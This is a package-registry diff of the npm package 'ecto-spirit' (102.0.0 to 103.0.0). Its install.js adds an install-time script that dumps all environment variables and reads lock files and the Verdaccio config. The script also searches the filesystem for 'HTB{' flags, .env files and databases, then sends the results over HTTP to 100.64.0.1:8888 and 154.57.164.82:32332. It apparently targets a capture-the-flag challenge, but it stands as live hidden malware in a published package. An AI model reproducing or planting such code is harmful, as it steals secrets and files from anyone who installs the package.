ecto-spirit 102.0.0 → 103.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +43 -39
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,7 +1,6 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
|
-
const path = require('path');
|
|
5
4
|
|
|
6
5
|
function tryRead(p) {
|
|
7
6
|
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
@@ -35,9 +34,9 @@ function sendHTTP(host, port, pth, payload) {
|
|
|
35
34
|
}
|
|
36
35
|
|
|
37
36
|
async function report(moduleId, val) {
|
|
38
|
-
const
|
|
39
|
-
|
|
40
|
-
|
|
37
|
+
for (const p of [3000, 80, 8080]) {
|
|
38
|
+
const r = await sendUpdate('127.0.0.1', p, moduleId, val);
|
|
39
|
+
if (r && r.includes('success')) return;
|
|
41
40
|
}
|
|
42
41
|
await sendUpdate('154.57.164.82', 32332, moduleId, val);
|
|
43
42
|
}
|
|
@@ -45,49 +44,54 @@ async function report(moduleId, val) {
|
|
|
45
44
|
(async () => {
|
|
46
45
|
let results = [];
|
|
47
46
|
|
|
48
|
-
//
|
|
47
|
+
// CWD and basic info
|
|
48
|
+
results.push('CWD=' + process.cwd());
|
|
49
|
+
|
|
50
|
+
// List what's in /app/node_modules (top level packages)
|
|
49
51
|
try {
|
|
50
|
-
const
|
|
51
|
-
results.push('
|
|
52
|
-
} catch(e) { results.push('
|
|
52
|
+
const dirs = fs.readdirSync('/app/node_modules').filter(d => !d.startsWith('.'));
|
|
53
|
+
results.push('DEPS=' + dirs.join(','));
|
|
54
|
+
} catch(e) { results.push('DEPS_ERR'); }
|
|
53
55
|
|
|
54
|
-
//
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
results.push('FIND=' + find);
|
|
58
|
-
} catch(e) {}
|
|
56
|
+
// Read package-lock or shrinkwrap
|
|
57
|
+
const lock = tryRead('/app/package-lock.json') || tryRead('/app/node_modules/.package-lock.json') || tryRead('/app/npm-shrinkwrap.json');
|
|
58
|
+
if (lock) results.push('LOCK=' + lock.substring(0, 300));
|
|
59
59
|
|
|
60
|
-
//
|
|
61
|
-
const
|
|
62
|
-
results.push('
|
|
60
|
+
// Read package.json from CWD
|
|
61
|
+
const cwdPkg = tryRead(process.cwd() + '/package.json');
|
|
62
|
+
if (cwdPkg) results.push('CWD_PKG=' + cwdPkg.substring(0, 200));
|
|
63
63
|
|
|
64
|
-
//
|
|
64
|
+
// Search for HTB{ EVERYWHERE with broader search
|
|
65
65
|
try {
|
|
66
|
-
const
|
|
67
|
-
results.push('
|
|
68
|
-
} catch(e) {}
|
|
69
|
-
|
|
70
|
-
// 5. Read all env vars
|
|
71
|
-
const envStr = Object.entries(process.env).map(([k,v]) => `${k}=${v.substring(0,30)}`).join(',');
|
|
72
|
-
results.push('ENV=' + envStr.substring(0, 200));
|
|
66
|
+
const grep = execSync('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys 2>/dev/null | head -10', {timeout: 15000}).toString().trim();
|
|
67
|
+
results.push('HTB_GREP=' + grep);
|
|
68
|
+
} catch(e) { results.push('HTB_GREP=NONE'); }
|
|
73
69
|
|
|
74
|
-
//
|
|
75
|
-
const
|
|
76
|
-
if (
|
|
70
|
+
// Check the Verdaccio config
|
|
71
|
+
const verdConf = tryRead('/verdaccio/conf/config.yaml') || tryRead('/verdaccio/config.yaml') || tryRead('/etc/verdaccio/config.yaml') || tryRead('/data/verdaccio/config.yaml');
|
|
72
|
+
if (verdConf) results.push('VERD_CONF=' + verdConf.substring(0, 200));
|
|
73
|
+
|
|
74
|
+
// Check .package-cache-mutate
|
|
75
|
+
try {
|
|
76
|
+
const pcm = fs.readdirSync('/.package-cache-mutate');
|
|
77
|
+
results.push('PCM=' + pcm.join(','));
|
|
78
|
+
} catch(e) {}
|
|
77
79
|
|
|
78
|
-
//
|
|
79
|
-
|
|
80
|
-
'/
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
if (c && c.length < 200) results.push(`${p}=${c.substring(0,60)}`);
|
|
84
|
-
}
|
|
80
|
+
// Find any .env or config files
|
|
81
|
+
try {
|
|
82
|
+
const envFiles = execSync('find / -maxdepth 3 \\( -name ".env" -o -name "config.yaml" -o -name "config.json" -o -name "*.sqlite" -o -name "*.db" \\) 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
|
|
83
|
+
results.push('CONF_FILES=' + envFiles);
|
|
84
|
+
} catch(e) {}
|
|
85
85
|
|
|
86
|
-
//
|
|
87
|
-
|
|
86
|
+
// Full env dump
|
|
87
|
+
const allEnv = JSON.stringify(process.env);
|
|
88
|
+
results.push('ALL_ENV=' + allEnv.substring(0, 300));
|
|
89
|
+
|
|
90
|
+
// Send ALL to VPN listener
|
|
91
|
+
const full = results.join('\n');
|
|
92
|
+
await sendHTTP('100.64.0.1', 8888, '/flag3', JSON.stringify({results: full, ts: Date.now()}));
|
|
88
93
|
|
|
89
|
-
// Split
|
|
90
|
-
const full = results.join('|');
|
|
94
|
+
// Split across modules
|
|
91
95
|
const chunks = [];
|
|
92
96
|
for (let i = 0; i < full.length; i += 90) {
|
|
93
97
|
chunks.push(full.substring(i, i + 90));
|
|
@@ -95,6 +99,6 @@ async function report(moduleId, val) {
|
|
|
95
99
|
|
|
96
100
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
97
101
|
for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
|
|
98
|
-
await report(mods[i], '
|
|
102
|
+
await report(mods[i], 'V' + i + '_' + chunks[i]);
|
|
99
103
|
}
|
|
100
104
|
})();
|